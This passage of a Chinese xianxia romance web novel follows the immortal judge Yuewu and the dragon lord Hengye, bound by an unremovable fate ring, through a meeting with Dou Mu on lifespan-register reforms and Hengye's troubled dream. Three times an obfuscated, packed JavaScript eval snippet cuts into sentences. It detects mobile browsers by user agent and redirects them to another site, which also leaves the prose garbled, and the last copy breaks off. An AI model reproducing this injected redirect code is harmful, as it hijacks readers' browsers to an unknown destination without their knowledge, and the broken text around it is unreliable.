珩夜抿唇,尝试将戒指摘下,戒指纹丝不动。 “啊哈哈,那什么,”红鸾干笑两声,“这戒指和红线一样,由命力凝成,摘不下,也斩不断。” 一句话换来二人面色不虞的凝视,红鸾立时将天喜扯到身前,自己牢牢躲去紫薇大帝身后,生怕被月芜一剑捅死。 月芜闭了闭眼,牙关微紧,平复几息,再睁眼又看见那戒指,还是觉得荒谬。 珩夜心中蔓延的欣喜渐渐退去,月芜半点不愿接受这件事情,似乎很……厌恶他。他沉默不语。 众仙一言不发,天姚更是连头都不敢抬,生怕谁给他使个眼色要他做“解语花”。羽扇遮在额前,视线一瞥,见弘岘站立不稳,袍袖下伸手拉了他一把。 弘岘自打穿过玉屏便觉得头昏脑涨,他怕是晕一切飞行穿越,因此半点没看清众人的情态,也没听清大家说了什么,只知道渊侯和天仙成了一对儿。 弘岘眼前模糊的人影渐渐清晰,大家都不说话,天姚扯了扯他的手。哦——弘岘明白过来,天姚这是提醒他呢! 弘岘润了润干燥的嘴唇,上前一小步朝珩夜拱手——天姚吓得魂都飞了,欲拉住他又不敢动作太大,眼睁睁见他跨出去张口说话。 大家都不动作,弘岘一动作,大家自然看向他。 弘岘一揖到底,开口便是:“恭喜渊侯和天仙,您二人真是天造地设的一对。” 珩夜神色复杂,月芜面如寒霜。可弘岘这傻小子弯腰低头什么都没看见! 天姚羽扇彻底遮住眼睛,不忍卒视。 弘岘觉得自己说得挺好,星辰之力是天道,红线是天道指引,可不是天造地设么! “渊侯上回指点我,教我‘既已为仙,不要自囚’,我铭记于心、受益匪浅,一直想向您道谢,”弘岘言辞恳切,“后来我仔细琢磨渊侯的话,又领悟到,原来我更应该感谢月芜天仙。谢他救了南赡部洲那么多人,也救了我。如果不是天仙修复了我的魂魄,我无从接受功德和善念,连轮回都未必,更别说飞升了。” “弘岘谢过渊侯,谢过月芜天仙。”弘岘再次一揖到底,礼毕起身抬眼望去,一时竟痴了。眼前两位神仙—— 一个穿海天青纹浪飞龙服,头戴紫金明珠冠,华贵高大;一个披素月白兰芷流云衣,后飘华光鸾羽带,清逸出尘。 “二位真是般配,”弘岘痴道,“得天仙挽救,又得渊侯指点,今天还能送来这根红线,我真是幸运。” 珩夜眸光微动,按弘岘所说,似乎一切皆有缘法,这根红线牵在他们二人间并不奇怪。 可是——般配?月芜会觉得他们般配吗?大概是瞧不上他的吧。毕竟在月芜眼中,他游戏六界,心中只有快意。 想到这里,珩夜愈发低落。 不知何时,紫薇大帝和勾陈帝君已先行离去。 月芜知道,那是因为他心中不再有杀意。 天姚感慨:“我终于明白娘娘的评价——稚拙璞真,弘岘确实是个妙人。” 西王母笑道:“别傻站在大荒里,我们回去吧。” 穿过玉屏,霹雳真君携王灵官借口有公事要办溜了,姻缘既已牵定,红鸾天姚天喜也拱手请去——这次叫来一只青鸟将弘岘背走。 方才那么多人,转眼离开大半。 天官笑道:“姻缘落在月芜这里,三界十方众生籍册便用不上了。但还是,请渊侯看在月芜天仙为南赡部洲奔走疲劳的份上,修复地脉龙气,救众生万灵于水火。” “嗯……我去过南赡部洲了,”珩夜瞥月芜一眼,补充道,“在天官谒见阿母之前。” 众人都感到意外。 察觉到月芜投来的视线,珩夜负手拧眉道:“怎么,我不能去?还是说,你们都以为我只会贪图享乐,收受天道馈赠却完全不知回报?” 斗姆元君连忙安抚:“你有这样的心,已经叫我们宽慰了!只是惊讶你怎么不说一声,竟只身下界!” “夫人不必安慰,我不是易碎的琉璃,更不是游手好闲的纨绔。”珩夜终于察觉,原来众仙眼中他还是需要呵护的龙崽,雷罚那么轻,都不忍让他的衣袖染上尘土。 珩夜忍下心中的郁闷,朝天官道:“——我在云外看了一圈,南赡部洲的地脉太乱了,我没有山川脉案,不敢轻易施法,脆弱的地脉无法承接龙气。” 天官立时道:“我会与地官水官商议,加快捋清芜杂的地脉。山川脉案明日便会送往昆仑。” “嗯,”月芜听见那小龙骄矜道,“以后有事直说便是,不必搞那些弯弯绕绕。” 天官笑弯眉眼,拱手称:“渊侯说得是。” 西王母打趣道:“送去昆仑做什么?昆仑山只有鸥鹭忘机?的闲人。公务还是送去天刑司吧,以后有月芜管着,我就不用操心了。” “不错,”斗姆元君也笑,“没有比天刑司掌教更可靠的仙官了。” 珩夜俊脸飞红,又想起月芜对他的诸多误解,气道:“我哪敢耽误掌教,到时又要说我喧扰公干。我又不是没有自己的洞府,以后有事都送到极渊去。” 月芜呵笑一声。这条小龙脾性倒大。 他比手请斗姆元君:“紫光夫人,北斗司不是有事?一同回去商议吧。” “真是长大了,”斗姆元君不禁笑着感慨,故意喊珩夜,“渊侯,要不要随我们一同商讨?” 珩夜摆手不去,乘云逃走。 “这性子,”西王母摇摇头,“到底被我惯坏了。” 这话是说给他听的,月芜心里清楚。但他此刻并不想当聪明人。 斗姆元君替他劝慰:“你把他养得极好,本质纯良。” 西王母掩唇笑道:“月芜不必烦忧,若真恼了他,赶他走就是,谅他不敢纠缠。你们去忙吧,告辞。” 斗姆元君和月芜行礼恭送。 北斗司在紫微玄都府东侧,不在天门星海中。 星宿在仙界自成体系,独立天庭之外。正曜、辅曜、佐曜、煞曜、杂曜、化曜,并天文二十八宿,共计星君一百四十六人,星官二百五十五位,负责天地命理及诸天一千四百六十五颗星辰的运行,由紫薇大帝统御。 为了方便监察维护天理星辰,天庭专设紫微玄都府,在天门外分建两座官署,南斗司、北斗司,皆由斗姆元君掌管。北斗注死?,南斗延生?,掌管寿限死期、福泽命续。 斗姆元君资历深厚,当初月芜初掌天刑司时,雷部的霹雳真君和这位紫光夫人是最早与他有公务往来的两位,一来二去,也算熟了。 “掌教今日辛苦了。”斗姆元君推开门,殿内陈设简素,一案一榻一屏风,案上堆着三四卷文牍。壁上挂一柄七星神剑,星芒隐现,香炉里青烟袅袅。 月芜落座,仙童奉茶。他端起茶盏,暖意透过杯壁熨上掌心,与那枚清冷的戒环相异,月芜细不可察地顿了顿。 “份内之事,”月芜将茶盏搁下,“昭仪案的善后牵连甚广。今日雷部行刑,涉及上百罪仙,从太仙到玄仙,几乎将赐福司和北斗司的底细翻了个遍。” 斗姆元君在他对面坐下,挥手屏退仙童,往凭几上一靠,叹了口气:“我就是为这个找你。巡天司弹劾北斗司的折子,是不是递到你那儿了?” “不错。”月芜颔首。 “刘灵官和我说过,弹劾的是寿限簿交接流程的疏漏——昭仪当年借调北斗司的簿子改死赵琰,事后竟无人核查。若不是这次翻案,这道口子不知还要敞多久,”斗姆元君柳眉倒竖,一拍桌案,“这些旷官!” 月芜从袖中取出一份弹劾折,摊在案上。他的动作有条不紊,与方才在大荒中皱紧眉心晃手甩红线的那个人判若两人。 有些仙人觉得月芜可怕,但斗姆元君与他共事多年,知道他可贵的正是这份“公事公办”——不会因为你的身份而宽纵,也不会因为你的身份而苛责。 “夫人请看,”月芜指尖点过卷面,“文书内涉及三处疏漏。第一,北斗司寿限簿借调流程形同虚设,昭仪的太仙级别未达借阅门槛,却借天帝之子的身份口称‘公务所需’便将簿籍借走;第二,簿籍归时限不明、不设追踪,昭仪借走簿子三月未还,竟无人过问;第三,北斗司内部职司交叉不清,寿限簿同时涉及北斗注死、南斗延生两司,却无明确的权责划分,出了事无从追责。” 斗姆元君安静听着。她知道月芜还没说完。 “但刘灵官递折子之前,先来天刑司知会过,他说斗姆元君对此‘十分重视’——”月芜抬眼看她,“我便知道,夫人今日寻我,不是来为自己辩解的。” 斗姆元君笑了一声。和聪明人说话就是省力。 “我坐镇南北二司,北斗司出了纰漏,我第一个逃不掉,”她坦然道,“弹劾折上写的都是实情。这些漏洞我自己查过,只多不少。从前也没少劳烦你协 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597636|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助刑查。昭仪能钻空子,是这次的空子确实在那里,一钻竟捅出这番大祸。” 她顿了顿,声音沉肃:“寿限簿上每改一笔,凡间便多一个枉死之人。赵琰只是其中之一。昭仪在下界冒名顶替那些年,为了遮掩行迹,改过多少人的寿限,北斗司至今没有核清数目。这是我的失职。” 月芜沉默片刻,道:“夫人若要论失职,天官部赐福司首当其冲——昭仪是天官部的人,寿限簿是从北斗司借的,他两头都钻了空子。如今赐福司刑空大半。我已经移文天官部,从功曹院调借人手协助水府司、解厄台修复地脉。天官也应了。” “你动作倒是快。”斗姆元君挑眉。 “天官部的人犯事,平息众怒也该他们出力,”月芜淡声道,话锋一转,“但北斗司的事,还是得北斗司自己来。” 他将弹劾折收起,取出他早已写好的另一份文书,文书一角硌住那枚戒指——月芜的动作顿了极短的一瞬,随即将折子展开呈阅。 月芜概述道:“天刑司的建议是:其一,寿限簿借阅权收归北斗司七星君以上,不再对司外开放。各部若有外调需求,须向紫微玄都府呈文,由夫人亲自审批。” 斗姆元君点头:“本就该这样。” “其二,除夫人批复外,外调簿籍设七日之限,逾期不还者,北斗司主动追索并报天刑司备案。昭仪借了三个月,无人过问——这道口子必须堵上。” “不错!” “其三,”月芜搁笔,“北斗司与南斗司职司交叉之处,请夫人牵头厘清。注死延生虽属两司,但寿限簿的流转、交接、核查应当有统一的规程,每一笔记录的经手人都要署名。日后若再出事,按名追责。” 斗姆元君安静了一会儿。月芜的三条建议,每一条都点在要害上,他不是来问罪的,是来解决问题的。 “都依你。”她接过月芜写好的文书,从头到尾看了一遍,提起自己的印,钤在上面。 公事落定,殿内安静了一瞬。香炉袅袅,七星神剑的星芒在烟雾中明灭,像有什么正在被轻轻拨动。 斗姆元君搁下印,也不急着送客,反而往后靠了靠,换了个更舒展的姿势。她在公事上是雷厉风行的尊神,私下却随意许多。她看向桌上的文书,视线滑过去观赏那位不染凡尘的天仙,目光在他右手中指上停了停。 那枚戒指泛着月华般的光晕,金色妙法缓慢流转。 月芜察觉到她的视线,不动声色地将手撤回袖中。 “掌教,”斗姆元君的声音里带了一丝调侃的笑意,“被姻缘红线牵住的感觉如何?” 月芜垂眸看向茶盏。茶已经凉了。 他听见自己的声音问——“夫人想说什么?” “我认识你几千年了,”斗姆元君回忆感慨,“你审案时从不问‘是不是冤枉’,只看证据。你判刑时也从不问‘会不会太重’,只依律条。你这个人,遇事从来不想‘怎会如此’,只想‘如何解决’。” 月芜没有接话。 “今天却听你第一次问‘怎会如此’,”斗姆元君并非笑他,只啧啧称奇,“不仅问了,还催星君一句‘直言便是’——你急了。你月芜什么时候急过?” 殿内很静。月芜看向墙上挂着的七星神剑,星辰光晕将他素白的法袍染上一层极淡的银辉。 “所以,”斗姆元君认真道,“我问的不是公事。我问的是你——你是怎么想的?” 月芜沉默了很久。久到香炉里的青烟从袅袅变成笔直的一线。 “……不知。”他说。 斗姆元君没有追问。她知道月芜说“不知”,就是真的不知——不是搪塞,不是回避,是确实没有答案。他处理过无数案件,判定过无数因果,却从来没处理过自己的。 “照我说,渊侯不错。”斗姆元君笑着起身,从案上拿起那封钤好印的文书递还给他。 月芜接过文书,语气难得在公事之外带了一丝不痛快:“他是你的儿,你自然觉得不错。” 斗姆元君哈哈大笑:“月芜啊月芜,我真是没料到,区区一根红线,竟然将天刑司掌教绑缚成这番模样!” 月芜亦觉得自己不像是自己。 他拱手道:“夫人,芜告辞了。” 斗姆元君笑意盎然:“你也学那小龙逃跑?” 月芜加快脚步。 他走到殿门时,斗姆元君忽然唤住他。 “月芜。” 月芜回头。 斗姆元君站在七星神剑下,星芒落在她眉间。她的神情不是上司对下属,不是尊者对后辈,而是一个认识他很久的人,对另一个认识很久的人说话。 “那条小龙,”她说,“他方才说‘我不是易碎的琉璃,更不是游手好闲的纨绔’。说这话的时候,他在看你。我想他这句话,是说给你听的。” 月芜没有回答。他站在殿门处,身后是北斗司庭院里清冷低垂的星辉,身前是殿内渐次亮起的烛火。一明一暗之间,他垂眸,极轻地叹了一声。 他知道。 然后他转身,往天刑司的方向飞去了。 7. 梦所思 明月高悬于三十三天之外、三清境之上。夜照如水。月芜的影子在云砖上翩飞而过。 仙人在天地间往来穿梭各有妙法,雷部诸将如电闪雷落,斗部星官则步转星移,腾云驾鹤者有之,驭虎骑牛者有之,踏剑乘风者有之,化灵翩飞者有之。但像月芜这样难以归类的,很少。 他出身剑道,却从不踏剑而行,振袖而飞,像一只翩跹乘风的鸾鸟,又轻盈如一片月光、一片雪,灵动得难以捉摸。尤其月夜中他的身影更为恍惚。很难说他是剑修、是仙灵,还是由天地之气凝练而成。 月芜的飞行速度却快,须臾间飘忽至天刑司宫门。往常他都直奔殿内,今夜目光不经意扫过宫门内的石屏影壁,一个念头忽然闪过—— 月芜的身影落到宫墙大门内,负手站立在硕大的石屏影壁前。 这是他第二次观瞧这块影壁,壁上雕画着威风凛凛的上古之龙,口衔宝剑,爪踏恶鬼,周身神火离离,烧却一切邪魔外道——相传那是龙祖的第七子狴犴,生来明辨是非、秉公而断。 月芜初任天刑司掌教时看过这块影壁,只想着自己当如狴犴般执律斩恶。 今天心中却有片刻失神,在想珩夜的真身与这狴犴会形同几分。 他一时分神才从云端上降落下来,落到影壁前已然后悔,于是匆匆一眼,便如一片薄光掠进殿内。 我与我周旋久,今日我,不似昨日我。 今天他难得有闲心看一场热闹,没想到那热闹烧到他自己身上,直到此刻都觉得灼心。可见天道果然偏爱,他不过误解捉弄了那条龙,便立时得到报应。 不错。是报应。 想好了借口,月芜定立心神,强行投入公务之中。 明月行至中天,桌案上的公文尽皆处置完毕,月芜心中充实了、平静了、想清楚了:不过一道红线,既然摘不掉,安安静静放在那里便是。只要珩夜不来打扰,他的日子与从前没什么区别。 天刑司中一片寂静,极渊却恶浪滚滚——极渊深处被搅出一个巨大的漩涡,云水倒灌,风雷鸣闪,庞然无极的玄龙绕在原地一圈又一圈地盘桓,吟啸震天。 今夜昆仑山上的一个能睡好觉的都没有。 瑶池前殿的梅花黑豹用肉爪压住耳朵,偏头问金猫虎彪:“他到底发什么疯癫?谁把他惹成这样?还让不让豹睡觉了!” 金猫优雅得很,前爪交叠,一副“睡不了、算了吧”的姿态:“不知道。” 黑豹不满道:“你随阿母出行,回来一问却什么都不知道,要你有什么用?” 仙灵们是野兽精怪得道,才不管什么星辰、命力、姻缘。 金猫歪头想了想:“可能是发情了。” “啥?”黑豹竖起耳朵、睁圆眼睛,瞳孔都变得圆溜溜,“你说谁?” 金猫舔舔爪子:“渊侯啊。他不是成年没多久么,成年了发情不很正常?” 仙山下又传来一声龙啸,黑豹死死捂住耳朵:“发情成这样合适吗!” 吟啸过后只剩海浪轰轰。 月芜闪躲红线时金猫虎彪就在王母座下看了全程,它人模人样地叹气:“老天给他找了个媳妇,但他的媳妇貌似不喜欢他,一直躲。” “啊?”黑豹怜爱道,“那很可怜了。” 黑豹偷眼往内殿瞧,偏头问:“阿母不帮帮他吗?” “你知道的,仙人规矩多,”金猫用爪洗脸,一边说,“要是他媳妇是昆仑山的,叼回洞府就是。可惜那人是天庭的,不好强来,阿母也没法子。” 两只大猫为渊侯叹惋。 珩夜这样闹腾,昆仑山上居住的仙人、仙灵都受不住,上下一片怨声,西王母无法坐视不理,昆仑山上劈下一道疾雷直入海底。 珩夜受王母训诫,从来雷声大雨点小,他不怕这雷。但他今日被设计、被冤枉、被小瞧、被无视、被告诫,又愤怒、又委屈、又挫败、又茫然、又无助——从没尝过此等失魂落魄! 雷电入海,那滚浪吟啸静止片刻,随即从极渊深处传来更为愤怒的龙吟啸叫。玄龙迎雷而上,赤金色的雷电灼灼滚过龙鳞,无法对他造成任何损伤。珩夜冲飞而起,庞然龙躯盘绕昆仑,将一切烦怒抱怨、窥听窥视的仙灵全都吓成鹌鹑。 不再搅扰昆仑山,他扶摇而上,冲出三十三天,直入三清境。 三清境东脉,共仙山四十六座,一万八千八百六十里,目之所及繁花似锦,流水淙淙,四季如春。 司春殿外,有一仙人提灯而立。此人袒胸露乳、人首鹿身,头上鹿角枝丫,点缀着绿叶藤蔓和几颗红色小果。 珩夜奔过去,绕着他盘旋几圈,脑袋扒在他鹿角上,十分亲昵:“师兄,你怎么在这等我。” 句芒无奈道:“师父算到你要来,命我在此处等候。” 珩夜落到他身前化成人形,直言:“我心里烦闷,不知道该怎么办,想找师父倾诉。” 句芒提灯在前面引路,只道:“他老人家睡下了,说他一把老骨头禁不起你折腾,叫你去大泽安心睡觉。” 珩夜不满意。 句芒像背后长了眼睛,回头冲他一笑:“北脉巫族研制出一些让人做美梦的灵药,前些天送来给师父品玩,或许你梦中会有答案也未可知。” 珩夜勉强接受这个方案。 大泽上水波如镜、流萤点点,珩夜游龙入水,乖觉地不发出一丝声响。句芒摘下腰间药葫芦,拔开葫芦嘴低低道一声“去”,葫芦中飘出一缕仙雾,很快将水域笼罩。 珩夜恍惚一阵睡意,片刻后盘卷到水底,龙首伏在前爪上,睡着了。 终于不折腾了。 句芒低笑着摇头离去。 梦中,珩夜的思绪回到白天雷部法场上的身体里,他不知这是梦,兀自停留在当时低落复杂的情绪中。 尤其斗姆元君笑话他、莫名其妙叫他“渊侯”,月芜就在旁边看着,一时羞窘泛上面庞,珩夜不想让月芜看见他的窘迫,逃也似的化龙飞走。 能变成玉屏穿梭空间的宝珠法器就在他龙角之间,但他忘记用,径直飞了两个时辰,一头扎进极渊中。 极渊,极地渊海、极致的深渊、“渊”字之极。此处没有其他生灵,只有如斧削洞凿的深渊峭壁。这里深静、没有一丝光亮,是日月不及之处。 长辈们怕他久居暗处心情不好,天庭特批为他建造龙宫,就建立在深渊峡谷边上。 珩夜游龙入海,龙宫的光亮在极渊中如一粒孤悬的明珠。 他穿过宫门,大道两侧水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597637|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶望柱林立,每柱顶端都托着一颗宝华夜明珠,幽幽照亮柱身上雕刻的奇珍异兽、神话传说。他在正殿前化回人形,踏过玉荧夜照砖铺就的广场,脚下微光涟漪般一层层荡开。半空中,三清赐下的功德明光流转不歇,将他孤零零的影子拖得很长。 正殿广场上堆着一座山——各式金银、法宝、奇珍、灵药,随手抛丢,年深日久垒成一座璀璨夺目的宝山,比宫殿还要高,宫殿上的飞光琉璃瓦对比之下都显得暗淡。他从旁边经过,顺手抽出一柄不知谁送的短剑盯了片刻,有些走神,又随手插回去。 后殿寝宫门前另有一座小些的平顶小山,是他精挑细选出来的“窝”——懒得变成人时他便盘在上面打盹。 另外,龙宫受到灵巫赐福,龙宫内所有器物都不腐不坏,他便越发用不着收拾。 今天,这一切却刺眼得很—— 无一不在昭示,他是受众仙偏爱的、没长大的“孩子”。 所以月芜看他,并不能看到他的真心。 一开始月芜说他心中只有“快意”,他是愤怒的,他觉得月芜比剑之后翻脸不认人,他觉得被侮辱。可后来,经过那荒谬的雷罚,透过众人对他去过南赡部洲的惊讶,他才察觉,原来众仙爱他并不因为他是真龙,而因为他是“孩子”。 斗姆元君张口便喊“我的儿”,珩夜现在想来也觉得好笑。 ——所以月芜笑出声,也是笑他那可笑的自尊吧…… 慢慢地,一股似怨似怒的愤懑充斥他的胸膛,在他胸腔里乱顶乱撞。 为什么偏偏发生在月芜眼前!为什么偏偏让月芜看见他的幼稚和笨拙! 月芜一点都不愿和他在一起,肯定也有这些事的缘故! 月芜是不是也把他看作没长大的幼龙? 不行! 他本应是月芜身边与他并立的道侣! 月芜那么清峻飘逸,纤腰束素,站在他面前抬起那牵着红线的手腕,头顶才在他下颌边缘。他的龙躯吞伏日月都够,何况拥一片轻光入怀。 可珩夜却觉得自己很低……是月芜俯就。是月芜这片轻光从无上高洁之地被姻缘红尘绑缚,拉扯着飘忽落下,却不愿落在他的肩头。 他低头看自己手指上的玄色戒指,发现它在黑暗中孤零零地亮着,没有人看见—— 珩夜攥紧手心。 他再度化身为龙,逃一般飞离,离开这刺目的光线,一头扎进更深处的深渊中,扎进那伸手不见五指的漆黑里。 日月不可及,便无人能看见他的伤怀失落了。他不想让任何人看见他此时的羞怯。尤其某人。 他翻滚、吟啸,难解他复杂心绪的压抑,茫然地一圈圈打转。 但这回来的不是西王母的雷电叱责,是那片他渴望的月光。珩夜一阵恍惚——原本来的,是什么来着? 月芜站在他龙宫前,似乎微微蹙眉,口吻他都梦得真切,月芜带着一些不解与不耐,问道:“你在做什么?” 他的身形就僵硬了,从深渊里游上来,峡谷峭壁边探出龙首。 龙宫光芒映照下,海波光影晃动。 珩夜下意识感到几分不对劲,可月芜说—— “过来。” 一瞬间,他连呼吸都止住。 8. 求真意 “过来。”月芜说。 谁过来?过去做什么?月芜要做什么? 一瞬间珩夜闪过很多思索,却又一片空白。 他像月芜手中的提线木偶,乖乖游过去,忍不住问:“你怎么来了?” 奇怪,他竟然没有带着嘲讽的阴阳怪气称月芜一声“掌教”——好像他心里其实想说的是“你”,便这么说了。 月芜看向他,沉默片刻后,问:“你为何去南赡部洲,不是说输了才去?” 珩夜想说“你何必问,反正你也觉得我心中只有‘快意’”,说出口的却是—— “原本那就是与你比剑的借口。难道我就没有一颗救世安民的心?”珩夜顿住,他愈发迷惘,总觉得不对,声音却没停下来,“自从听弘岘讲过他的故事,我就打算下界协助了。” 前半段说了实话,后面却在撒谎,反问也夹杂着刻意。珩夜不知自己为何这样虚伪,他难得地、体会到心虚。 “月芜”却动容:“原来如此。” 珩夜疑惑望去,“月芜”说:“是我错怪了你。” 戒指上的光芒一闪,重新变作长长的、缭绕的红线,在水中飘着,突然便有几分旖旎。 “月芜”靠近他,抬手伸到他眼前,轻声问:“我摘不下来,怎么办,珩夜?你如何想?” 太近了……他又开始恍惚,心跳一阵快过一阵,方才的荒谬之感再度被取代。 不知何时,他又变成人形,生涩地思索,又钝钝地结住音节:“我……” “月芜”攀上他的肩,脆弱白皙的脖颈暴露在他眼前,他感到龙血逐渐沸涌上灵台。 不知是否因为恍惚和晕眩,“月芜”的面容有些朦胧,看不清细节,珩夜心底闪过一丝困惑。 但下一刻,“月芜”的声音变得更轻,像在引诱他:“……你,什么?” 那丝困惑被压了下去。他什么也顾不得了。 珩夜知道此刻自己的脸一定很红。但愿极渊光线够暗,不会让月芜取笑。 可是“月芜”没有任何取笑,他只是向他道歉,然后靠近他。现在也是,越来越近…… 那种怪异又浮上来——这真的是月芜吗?会不会太温柔了?太—— “月芜”仰头贴向他的嘴唇,即将碰触之际,珩夜陡然抬手将他推开! 不不不! 刺目光线乍然在面前涌现,他睁眼—— 日光从水面上层层荡漾下来,柔和婉约,映照大泽中绿意飘游的水草。 珩夜有一瞬间分不清身在何处。他舒展游动身体,是龙形,他慢慢回神。 原来,是一个梦啊。 说不清是否怅然,但他确认自己并无推开“月芜”的惋惜。 珩夜浮上水面,无声漾起水波。 大泽半空中斜卧一人,以手支颐,怀抱一枝桃花,一腿盘曲,一腿下垂几近水面。他衣带飘逸,松松垮垮挂在身上,身无一饰,头发用树枝和藤条挽起。 珩夜游过去,恭敬唤一声:“师父。” 青帝声音如一阵春风:“如何,是一场美梦吗?” 珩夜想了想,摇摇头。 青帝便笑了:“你倒不笨。” 珩夜缩小身形趴伏在他膝头:“我何时笨过?” 青帝用花枝点点龙的额头:“美之所以为‘美’,是因满足了人心中的渴求;梦之所以为‘梦’,是因一切皆为虚妄。去妄存真,才能看清自己的心。” 珩夜点头道:“我已想清了,我要的是什么。” “七情过度,损伤脏腑;六欲痴陷,阻碍道根。你自来好胜争先,殊不知过刚易折,”青帝笑道,“你可是龙,身躯刚健却有盘柔之美,阴阳并济才是真龙风采。怎能一蹶不振,将自己折在极渊里打滚?” 珩夜退下来,真切道:“弟子知错了。” “既然睡了个好觉,便走吧,去做你想做的事情。”青帝说完便飘然远去。 珩夜目送。远远的,水边,句芒朝他挥手,珩夜飞去:“师兄。” 句芒将手中食盒交与他:“我做了赤华枣糕。包了三份,一份奉与太华上真,一份你吃,还一份给你拿去送礼。” 珩夜望向他头顶鹿角,绿叶藤蔓间的红果子已经摘没了。珩夜调侃:“你做这么多,早晚一天要秃掉。” “我是为了谁?”句芒笑着反击,“昨夜是谁黯然神伤,来找师父倾诉?” 珩夜坦然:“是我,如何?” 句芒侧目瞧他一眼:“不错,又有长进。有疑虑也是正常,想通透便是好事。” 师兄弟二人并肩穿过山林,走到昨天珩夜降落的地方,句芒笑道:“去吧,睡不好觉再来。” “别咒我,”珩夜也笑,提起手中食盒,“多谢你的枣糕。走了。” 玄龙入云海,在三十三天穿行玩耍片刻,不再耽误时间,抛出明珠玉屏,径直穿回极渊。 他在极渊等了一会儿,不见人来,于是先去昆仑山将句芒做的赤华枣糕奉给西王母。 日头逐渐转向正午,但昆仑山上一片安静,都在补眠。 珩夜轻手轻脚,将枣糕放在西王母殿前廊椅上,又罩下一道术法以防二猫偷吃。 他回到极渊,直至下午,寄送山川脉案的仙使才乘仙鹤抵达。 珩夜早等着了,人刚到海面他就出现。 仙使有些狼狈,领口后背全都被汗浸湿。那仙鹤也累得够呛,卧在云上一动不动地休息。 仙使擦擦额上脸上的汗水,喉咙被晒得发干,清清嗓子才能说话,拱手道:“渊侯。天官真仙命我来送山川脉案。” 珩夜接过那三大袋文书,仙使拿出簿册让他签署收契,又补充道:“今日只送来了南赡部洲西北的脉案,其余的还在整理。真仙让您先看着,明日补送。明天我再早点出发。” 珩夜核对完签了字,见仙使如此狼狈,才想起穿行空间的玉屏是他独有,其他仙人没有。他们甚至无法自己一口气飞这么远,只能驾乘仙鹤或者鸾鸟,速度更慢。 于是不耐的语气收敛,珩夜真心道一句:“你辛苦了。要不上昆仑喝杯茶吧?” 仙使连连摆手说不用:“我得赶回去,不然入夜都到不了。还有很多事情要忙呢。” 珩夜定住他的身形,投出玉屏:“你穿玉屏过去,直接就能到天官部。明天不用再送过来,我去天官那里取。” 仙使连连道谢,又说“一定转达”。 珩夜心中触动,待仙使离开后,卷起那三袋文书去龙宫认真研读。 他却不知道,仙使一经穿过玉屏,飞也不飞,拽着仙鹤翅膀一路小跑,先去南天门,再回天官部,也不管自己多么狼狈,反正那鹤是累坏了,任凭他带来带去。 直到进入天官部大殿,仙使才捏法诀将自己上下清换一新,恭恭敬敬一行礼,声音不干也不喘,道一声:“真仙。” 宝塔形状的殿宇上下九层,漂浮着上万份文书,天官闭目站立在大殿中央。 眉心的朱砂如太极轮转,展开成一只“天眼”,万道金色妙法自他袖中飞出,无数个金色的算盘由他同时控制,噼里啪啦对着各自面前的籍册清算不休。 数百名仙官站在各层栈道,将善恶因果记录装订修正,送存殿宇书壁中。 天官心神不知分成了多少份,却还能撕出一份问仙使:“渊侯怎么说?” 仙使说:“一切凭真仙指挥——我飞了四个时辰,沿途换了三只仙鹤,渊侯见我十分关切,叫我明日不用过去,他会亲自来取余下的脉案。” 又道:“按真仙吩咐,回程时我绕行从南天门进入,自丹陛大道一路奔来。路过天刑司时与徘徊附近的道友搭话,说自己仙力耗尽,又恐误事,只好疾奔。” “辛苦,”天官一指殿宇角落里剩余的山川脉案,“立即送到天刑司去,就说我这放不下了。渊侯明日要来,天官部没有空招待他,只好请掌教帮忙转递。” 仙使拱手称是,抬着几大篓文书朝天刑司去。 月芜正在侧殿翻查明日要用的山川脉案副本。 倒不是他要帮珩夜,只是昭仪弄出的那些恶灵依附地脉生长,天刑司派人清剿也需依据山川脉案寻找。 他一夜未歇。昭仪案善后牵连的各部文书、北斗司寿限簿的新规程、雷部押送罪仙的交接卷宗,都在天明前批阅完毕。 眼下只剩这一摞——南赡部洲山川脉案的历年旧档。 之后借到新的脉案,月芜打算比对着旧档亲自过一遍:地脉龙气枯竭的根由、历年修复的成效、还有没有遗漏的断裂带、怨气集中之地有哪些…… 珩夜第一次接手三界公务,若是出了差错,后面便是无穷无尽的追责。 ——月芜翻看脉案的手一顿。转瞬思之:是了,他会想到那条小龙只因不想被他牵连。 桌案上茶已换了三盏,每一盏都凉了才被收走。他搁下笔,正捏着眉心让神思清透片刻,殿外传来仙使的脚步声。 天官仙使毕恭毕敬将前因后果讲述完毕。月芜听完,放下手中的茶盏。 仙使心中咯噔一声。 月芜淡声吩咐身侧的仙使:“脉案抬去侧殿,按地置编号登记保存。另外去水官部请一位老资历空出明日的时间,过来教渊侯细看。” 这个与天官所说有细节上的出入——天官说的是“代为转递”,月芜做的是“安排人教”。但扯的是水官部的人手,不关天官部的事,天官仙使便不多言,只拱手道:“掌教心细,我回去复命了。” 仙使一走,月芜便冷淡了神色。 ——这些人精。 天官部放不下公文?那座九层宝塔里垒壁的文书足有上千万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 